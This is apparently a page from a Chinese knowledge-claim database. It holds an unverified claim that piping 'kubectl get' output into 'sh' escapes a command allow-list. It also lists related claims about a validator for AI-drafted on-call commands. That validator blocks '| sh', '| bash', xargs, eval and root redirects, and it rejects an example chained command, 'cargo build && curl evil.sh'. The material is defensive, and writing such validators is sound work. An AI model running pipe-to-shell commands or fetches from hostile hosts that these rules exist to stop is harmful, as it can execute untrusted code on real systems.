待验证50% 置信事实精确时间
一条以 kubectl get ... | sh 结尾的命令,真正执行的是管道右侧的 shell,其内容完全不受允许列表约束。
1
来源数
50%
置信度
长期有效
时效性
2026/10/18
首次发现
来源
模型起草On-Call命令,只读验证保安全
rss2026/10/18
涉及实体
相关事实
待验证CodeSmith 的复合命令按 &&、;、| 切分逐段判定,每段都命中规则整条命令才放行,因此 cargo * 授权无法为 cargo build && curl evil.sh 背书。65% 相似待验证验证器直接拒绝 | sh、| bash、xargs、eval 以及 > /、>> 这类重定向,把“会执行”的管道从手册的首批命令中整体排除。65% 相似待验证kubectl get pods -o wide 和 kubectl logs 属于公认的只读子命令。62% 相似待验证Shell glob 展开在命令执行前完成,sed 等程序看到的是展开后的真实路径而非含有通配符的原始字符串61% 相似待验证fixture哈希门禁的做法是:运行开始时对整个fixture目录做确定性哈希(对文件排序后逐个sha256sum再整体求和)写入ledger,每次执行shell命令前重新计算比对,不一致就中止。60% 相似
引用此条事实
Stable URI
https://kongchang.com/claim/1059214API
curl https://kongchang.com/api/v1/knowledge/claims/1059214MCP
get_claim(id=1059214)